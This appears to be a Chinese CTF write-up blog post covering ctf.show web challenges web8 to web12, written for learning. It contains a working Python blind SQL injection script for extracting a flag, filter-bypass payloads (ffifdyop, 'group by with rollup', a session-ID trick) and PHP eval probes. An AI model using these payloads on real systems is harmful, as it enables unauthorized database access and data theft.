首页 > 其他分享 >test1_2

test1_2

时间:2024-07-17 21:59:49浏览次数:7  
标签:test1 database 数据库 substr flag password id

web8

题目

做到这一题,基本可以写简单的注入工具了

分析

界面和上一题 web7 相同,但在查看回显位置的步骤时出现过滤:


反正只存在三个可能的回显位置,我们选择逐一尝试找到回显点,但还是被过滤了:


猜测是对联合查询 union select 存在过滤……尬住。


………………………… 2024/4/24 重做 …………………………


重新把这题的容器打开,发现环境升级为加密的了,尝试了一下发现不影响解题:


第一步照常判断表的字段数,从 ?id=1/**/or/**/1=1/**/order/**/by/**/10 开始递减,尝试到 ?id=1/**/or/**/1=1/**/order/**/by/**/3 时显示所有文章内容,说明该表的字段数为 3:


在现有 WP 中学习了一圈,发现不用联合查询的话还可以使用编码绕过,将 url 更改为 https://1ead7ab2-226b-418c-b837-6ac693695fc2.challenge.ctf.show/index.php?id=1/**/or/**/ascii(substr(database()/**/from/**/1/**/for/**/1))=32,运行后仅返回 id=1 的文章,即 or 之后的条件不成立。当 or 后面的语句成立时,页面将返回全部三篇文章。


这里的 ascii(substr(database()/**/from/**/1/**/for/**/1))=32database() 指当前数据库,substr()database() 的返回值即当前数据库名进行索引,因为在 Mysql 中字符索引从 1 开始,所以 substr(database(),1,1) 表示从当前数据库名的第 1 个字符开始,截取 1 个字符。因为这题对逗号和空格过滤,所以咱这里把命令用 substr(database()/**/from/**/1/**/for/**/1) 的方式表达。因为这题还对 '' 进行了过滤,需要外层的 ascii() 对内层返回的字符进行 ASCII 编码绕过,当编码结果等于 =后的数值时条件成立。同理,substr(database()/**/from/**/1/**/for/**/1)=chr(32) 表达了同样的意思。


参考大佬的脚本,我们对数据库名、表名、字段名及数据名进行爆破,为方便起见,我们将 id 的参数更改为 -1:

import requests  # http请求库

url = 'https://1ead7ab2-226b-418c-b837-6ac693695fc2.challenge.ctf.show/index.php?id=-1/**/or/**/'
name = ''

# 循环100次(循环次数按照返回的字符串长度自定义)  # 返回字符串长度即爆破出的数据库名/表名/字段名/数据
for i in range(1, 101):  # 1-100

    # 获取当前使用的数据库  # 依次截取database()数据库第1到100个字符
    # payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
    # 获取当前数据库的所有表  # 依次截取表第1到100个字符,database()可替换为web8的十六进制表示0x77656238
    # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
    # 获取flag表的字段  # 依次截取字段第1到100个字符,0x666C6167是flag的十六进制表示
    # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
    # 获取flag表的数据  # 依次截取数据第1到100个字符
    payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'

    count = 0
    print('正在获取第 %d 个字符' % i)  # %格式化输出
    # 截取SQL查询结果的每个字符, 并判断字符内容
    for j in range(32, 128):  # ascii码从32尝试到127
        result = requests.get(url + payload % (i, j))  # payload第一个%d格式化为i值,第二个%d格式化为j值

        if 'If' in result.text:  # id设置为-1时不显示任一文章,当爆破出某一字符时将显示id=1,2,3的文章,其中id=1的文章标题为If
            name += chr(j)  # 拼接数据库名/表名/字段名/数据
            print('数据库名/表名/字段名/数据: %s' % name)
            break

        # 如果某个字符不存在,则停止程序
        count += 1
        if count >= (128 - 32):
            exit()


依次爆破数据库名/表名/字段名/数据,得到结果分别为 web8/flag,page,user/flag/ctfshow{ff22cab2-ac59-46d1-ac4b-9d7591bfe630}


爆破过程中可能存在网络不良而导致的爆破中断,可以根据爆破进度调整 i 值的起始值继续爆破。

参考

ctfshow-WEB-web8-士别三日wyx-CSDN
ctf_show Web的Web8题解-钟佳标-博客园

web9

题目

分析

得,这看着还是 SQL。试了试发现没有报错回显,尝试时间盲注也没有反应。在查看 robots 协议的时候发现一个 index.phps 文件:


下载得到如下内容:


<?php
        $flag="";
		$password=$_POST['password'];  // POST形式传参给password
		if(strlen($password)>10){  // password参数长度需小于等于10字符
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";  // 查找user表中username为admin字段、password为输入值的原始16字符二进制格式输出的md5码的结果并返回
		$result=mysqli_query($con,$sql);  // 使用con的链接在数据库中查询sql
			if(mysqli_num_rows($result)>0){  // 如果返回结果集的行数大于0
					while($row=mysqli_fetch_assoc($result)){  // 循环从结果集中取一行作为关联数组直至取完每一行
						 echo "登陆成功<br>";
						 echo $flag;  // 输出flag
					 }
			}
    ?>

从源码仅能知道 password 参数的长度限制和查询方法,尝试万能密码注入后未能成功,于是 WP 解法,了解到一串神奇字符 ffifdyop,经 md5 计算后得到值为 276F722736C95D99E921722CF9ED621C,转换为字符串得到 'or'6É]™é!r,ùíb,因为 or 之后的值非零被认定为 TRUE,所以该字符串的 md5 值构成万能密码,得到 flag。

参考

while循环如何使用mysqli_fetch_assoc()?-腾讯云开发者社区-腾讯云
ctfshow-web9(奇妙的ffifdyop绕过)-Myon⁶-CSDN
ctfshow-web9-AW_SOLE-博客园
GitHub - maurosoria_dirsearch: Web path scanner
CyberChef

web10

题目

分析

这题多了个取消按钮?点一下!


下载了个 index.phps。

<?php
		$flag="";
        function replaceSpecialChar($strParam){  // 一个去除特殊字符的函数
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";  // 匹配的字符串是不区分大小写的select、from、where、join、sleep、and、所有空白符、union、,
             return preg_replace($regex,"",$strParam);  // 将strParam字符串按regex模式匹配到的结果删掉
        }
        if (!$con)  // 如果没有对con传参
        {
            die('Could not connect: ' . mysqli_error());  // 输出Could not connect: +报错内容后结束脚本
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){  // 如果username参数经过replaceSpecialChar函数后字符串长度不同
			die("sql inject error");  // 输出sql inject error后结束脚本
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){  // 如果password参数经过replaceSpecialChar函数后字符串长度不同
			die("sql inject error");  // 输出sql inject error后结束脚本
		}
		$sql="select * from user where username = '$username'";  // sql语句在user表中查找username等于输入值的数据
		$result=mysqli_query($con,$sql);  // 通过con连接根据sql语句查询
			if(mysqli_num_rows($result)>0){  // 如果返回结果集的行数大于0
					while($row=mysqli_fetch_assoc($result)){  // 循环从结果集中取一行作为关联数组直至取完每一行
						if($password==$row['password']){  // 如果返回的密码列中存在与输入密码相同的值
							echo "登陆成功<br>";
							echo $flag;  // 输出flag
						}

					 }
			}
    ?>

好家伙好家伙,把路堵死了是吧。


使用 WP 解法,学到一种巧妙操作,payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=,其中:
group by:mysql 语句,将结果按所选表头的值进行分组。该语句中将结果按 password 的值分类进行输出。
with rollup:mysql 语句,定义在 group by 之后,将分类后的结果进行统计,输出时在表末尾增加一行名为 NULL、值为统计总数的记录。该语句中在 group by 输出表格的基础上增加一行 password 值为 NULL 的记录输出。
/**/:用于绕过对空白符的过滤。
#:注释符。作为语句的结束,将后面的 password 注释掉。


因为输出的 password 值中存在一行 NULL,以上 payload 不对 password 进行传参,使得 password 值为 NULL,从而满足 flag 的输出条件。

参考

CTF show WEB10-yu22x-CSDN

web11

题目

分析

<?php
        function replaceSpecialChar($strParam){  // 一个去除特殊字符的函数
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";  // 匹配的字符串是不区分大小写的select、from、where、join、sleep、and、所有空白符、union、,
             return preg_replace($regex,"",$strParam);  // 将strParam字符串按regex模式匹配到的部分删掉
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){  // 如果匹配前后字符串长度改变
            die("sql inject error");  // 输出sql inject error后结束脚本
        }
        if($password==$_SESSION['password']){  // 将输入的password比对session中的数据
            echo $flag;  // 相同输出flag
        }else{
            echo "error";  // 不同输出error
        }
    ?>

这题需要比对的值在 session 中,session 是存储在服务器中的。而且容器的密码框内预先给出了一串密码,先登录拦包看看:


从拦截到的请求包可以看出:

  1. 预置密码是 123456
  2. PHPSESSID 值已经存在

根据源码,客户端将向服务端发送带 PHPSESSID 值的请求包,服务器通过该 PHPSESSID 值查找服务端的 session 文件,将得到的 $_SESSION['password'] 值与输入的 password 进行比对。


看大佬是 WP 是直接将 PHPSESSID 值删除并把 password 值置空提交的,猜测是由于 PHPSESSID 是客户端第一次向服务端发送请求时创建的,当请求包中的 PHPSESSID 值为空时,服务端会认为该请求来自新用户,并为其创建一个新的 PHPSESSID,此时该 PHPSESSID 对应的所有都为空,则参数为 NULL 的 $_SESSION['password'] 与空的 password 比较必然相等,满足判断条件,从而得到 flag。

参考

PHP中Session ID的实现原理分析和实例解析-php007-腾讯云开发者社区

web12

题目

分析

F5 打开 html 代码,看到一条提示:


尝试了一些常用命令结果没有反应:


大佬的 WP 学到能以数组方式返回目录的函数 scandir()glob(),通过 print_r() 函数可将数组内容打印出来:


列表中出现的长名称文件显得很可疑,highlight_file() 查看文件内容成功,得到 flag:


参考

ctfshow-web12-AW_SOLE-博客园
PHP中的代码执行,命令执行与常见bypass技巧-k1hedodo-FreeBuf网络安全行业门户

【未完成】红包题第二弹

题目

分析

这题和 web12 很像,包括注释:

先看看 php 版本。传入 ?cmd=phpinfo(); 掉落源码:

<?php
#error_reporting(0);
?>
<html lang="zh-CN">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width  minimum-scale=1.0  maximum-scale=1.0  initial-scale=1.0" />
    <title>ctf.show_红包题</title>
</head>
<body>
    <center>
    <h2>ctf.show_红包题</h2>
    <h4>where is the flag?</h4>
    </center>
    <!-- hint:?cmd= -->
    <?php
        if(isset($_GET['cmd'])){  // 如果cmd接收到传参
            $cmd=$_GET['cmd'];  // 参数赋给cmd
            highlight_file(__FILE__);  // 当前文件高亮显示
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){  // 如果cmd的结尾正则匹配上大写字母、小写字母(除q以外)和数字一次或多次
                die("cerror");  // 输出cerror并退出脚本
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){  // 如果cmd正则匹配上“~”或“!”或“@”或“#”或“%”或“^”或“&”或“*”或“(”或“)”或“(”或“)”或“-”或“_”或“{”或“}”或“[”或“]”或“'”或“"”或“:”或“,”
                die("serror");  // 输出serror并退出脚本
            }
            eval($cmd);  // 执行cmd语句
        }
     ?>
</body>
</html>

过滤了末尾的大小写和数字,以及对整个字符串进行符号过滤。没有被过滤的字符有 p ` $ + = ; < > . / ?

标签:test1,database,数据库,substr,flag,password,id
From: https://www.cnblogs.com/Guanz/p/18308372

相关文章

  • test1_1_2
    web5题目分析php代码审计题,看看代码:<?phperror_reporting(0);//出错不报错?><htmllang="zh-CN">//中文语言<head><metahttp-equiv="Content-Type"content="text/html;charset=UTF-8"/><metaname=......
  • test1_1_1
    web签到题题目web签到题分析F12打开html文件:将注释进行Base64解码得到flag。web2题目最简单的SQL注入分析看着应该是SQL注入题。先尝试使用admin和123456登录,发现没有任何回显。看来报错被屏蔽了。显然admin栏如果注入成功则属于字符型注入。尝试......
  • test111_2
    web3题目更简单的web题分析代码出现include,猜测是文件包含漏洞。通过data://数据流+php命令执行函数查询当前工作目录下的内容,使用hackbar需要先进行url编码:得到flag文件名和首页文件:?url=data://text/plain,%3C%3Fphp%0Asystem('catctf_go_go_go')%3B%......
  • test111_1
    web签到题题目web签到题分析F12打开html文件:将注释进行Base64解码得到flag。web2题目最简单的SQL注入分析看着应该是SQL注入题。先尝试使用admin和123456登录,发现没有任何回显。看来报错被屏蔽了。显然admin栏如果注入成功则属于字符型注入。尝试......
  • pythontest1
    importitertoolsdefpermutations_combinations(n,m,letters):#排列序列permutations=list(itertools.permutations(letters,m))permutation_output=[''.join(permutation)forpermutationinpermutations]#组合序列,按字母升序排列combination......
  • Numerical Results of Test1
     ......
  • test1227
    冒泡排序题意:给定\(a_1,a_2,...,a_n\)和\(m\)个三元组\((l_i,r_i,s_i)\)。每个三元组对应如下函数,修改\(\{a_n\}\)中的元素并返回一个布尔值。defbubble(l,r,s):foriinrange(s,n+1):#s<=i<=nifl>a[i]:l,a[i]=a[i],lret......
  • test1211
    别急。先更一波T2,T3。七管荧光灯可以状压打表可以发现:一种局面为必败状态当且仅当满足\(a_{1}=x,a_{2}=x,a_{3}=x,a_{4}=y,a_{5}={z},a_{6}=z,a_{7}=z\)且\(x\oplusy\oplusz=0\)。然后就可以数位dp了,记个\(f_{i,0/1,0/1,0/1,0/1,0/1,0/1}\)。随便跑跑就行。字符串......
  • C:\Users\17482\Desktop\ERP——test1\SpringBoot-ERP-master\src\main\java
    这个错误表明在你的Java类文件UserImp.java中,找不到MyBatis的注解包org.apache.ibatis.annotations。这个包中包含了MyBatis的注解,比如@Select、@Insert等。首先,请确保你的项目正确引入了MyBatis的依赖。在你的pom.xml文件中应该包含类似以下的依赖配置:<dependency......
  • C:\Users\17482\Desktop\ERP——test1\SpringBoot-ERP-master\src\main\java
    这个错误表明在你的Java类文件UserImp.java中,找不到MyBatis的注解包org.apache.ibatis.annotations。这个包中包含了MyBatis的注解,比如@Select、@Insert等。首先,请确保你的项目正确引入了MyBatis的依赖。在你的pom.xml文件中应该包含类似以下的依赖配置:<dependency......